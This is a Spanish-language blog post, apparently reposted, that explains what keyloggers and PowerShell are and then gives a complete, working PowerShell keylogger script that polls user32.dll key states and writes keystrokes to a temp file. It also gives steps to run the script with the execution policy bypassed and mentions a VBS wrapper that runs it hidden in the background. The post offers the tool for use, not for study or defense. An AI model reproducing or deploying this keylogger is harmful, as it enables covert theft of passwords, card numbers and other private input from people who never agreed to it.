Keylogger con powershell en windows



Un keylogger (derivado del inglés: key (tecla) y logger (registrador); registrador de teclas) es un tipo de software o un dispositivo hardware específico que se encarga de registrar las pulsaciones que se realizan en el teclado, para posteriormente memorizarlas en un fichero o enviarlas a través de internet.


Suele usarse como malware del tipo daemon, permitiendo que otros usuarios tengan acceso a contraseñas importantes, como los números de una tarjeta de crédito, u otro tipo de información privada que se quiera obtener.
El registro de lo que se teclea puede hacerse tanto con medios de hardware como de software.
Los sistemas comerciales disponibles incluyen dispositivos que pueden conectarse al cable del teclado (lo que los hace inmediatamente disponibles pero visibles si un usuario revisa el teclado) y al teclado mismo (que no se ven pero que se necesita algún conocimiento de como soldarlos para instalarlos en el teclado).
Escribir aplicaciones para realizar keylogging es trivial y, como cualquier programa computacional, puede ser distribuido a través de un troyano o como parte de un virus informático o gusano informático. Incluso puede alterar las búsquedas en Google, creando búsquedas inexistentes y otras páginas adicionales. Se suele descargar comprimido para eludir antivirus. Se dice que se puede utilizar un teclado virtual para evitar esto, ya que sólo requiere clics del ratón. Sin embargo, las aplicaciones más nuevas también registran screenshots (capturas de pantalla) al realizarse un clic, que anulan la seguridad de esta medida. La mejor medida de esto es formatear la PC..



Powershell no sólo permite interactuar con el sistema operativo, sino también con programas de Microsoft como SQL Server, Exchange o IIS. La principal utilidad de Powershell es permitir automatizar tareas administrativas al usuario.
El lenguaje de la consola incluye declaración de variables, variables especiales predefinidas, operadores matemáticos, incluyendo igualdades y desigualdades numéricas, manejo de vectores, comparación entre estos, operadores de asignación, vectores asociativos (hashtables), valores booleanos, ciclos y ruptura de los mismos, operadores de expansión para simplificación de ejecuciones complejas (creación de vectores por medio de llamados a procedimientos, creación dinámica de vectores, etc.); comentarios, operadores de comparación binaria, caracteres de escape, orden de ejecución, ciclos del tipo "foreach", creación de procedimientos y funciones, creación de filtros, estructuras condicionales complejas (if/then/else/elseif/switch), operador de invocación dinámica del contenido de variables ($p = "MiProceso" --> &$p ejecuta MiProceso), llamado a métodos de tipo "$p.ToUpper()", acceso a propiedades de instancias de objetos, redirección de salida normal de consola a archivos, retorno de valores, manejo de cadenas de caracteres por medio de operadores, manejo de excepciones y conversión explícita de tipos.
Una de las principales funciones de Powershell es tratar de igualar al famoso lenguaje Perl de UNIX. El cual está considerado versátil, potente y con facilidad para interactuar con el sistema operativo. Exchange server 2007 utiliza Powershell internamente. La tendencia es que todas las aplicaciones tengan su sección visual y una opción para ver el código generado en Powershell.


Código
Keylogger.ps1
#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt")
{
$signatures = @
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
@
$API = Add-Type -MemberDefinition $signatures -Name Win32 -Namespace API -PassThru
$null = New-Item -Path $Path -ItemType File -Force
try
{
Write-Host Recording key presses. Press CTRL+C to see results. -ForegroundColor Red
while ($true) {
Start-Sleep -Milliseconds 40
for ($ascii = 9; $ascii -le 254; $ascii++) {
$state = $API::GetAsyncKeyState($ascii)
if ($state -eq -32767) {
$null = [console]::CapsLock
$virtualKey = $API::MapVirtualKey($ascii, 3)
$kbstate = New-Object Byte[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)
$mychar = New-Object -TypeName System.Text.StringBuilder
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
if ($success)
{
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
}
}
}
}
}
finally
{
notepad $Path
}
}
Start-KeyLogger
Pasos
Luego de copiar el codigo en un editor de texto "blog de notas" se guarda con el nombre keylogger.ps1
Se ejecuta desde el cmd con el comando

powershell.exe -ExecutionPolicy Bypass -File "key.ps1"
Ahora si deseas solo ejecutarlo desde con solo darle clic te dejo el link

Se ejecuta el archivo vbs para que se ejecute en segundo plano


Luego presionamos ctrl+c



Github

Mega
Descargar

Fuente: este post proviene de The Seven Codes, donde puedes consultar el contenido original.
¿Vulnera este post tus derechos? Pincha aquí.
Creado:
¿Qué te ha parecido esta idea?

Esta idea proviene de:

Y estas son sus últimas ideas publicadas:

SISTEMA DE DIAGNOSTICO Se desea diseñar un diagrama de clases para administrar el trabajo del médico que mediante una cuenta de usuario deberá: • Un administrador se encargará de administrar el sistem ...

¿Qué es el SQL injection? Una inyección de SQL, a veces abreviada como SQLi, es un tipo de vulnerabilidad en la que un atacante usa un trozo de código SQL (lenguaje de consulta estructurado) para mani ...

Recomendamos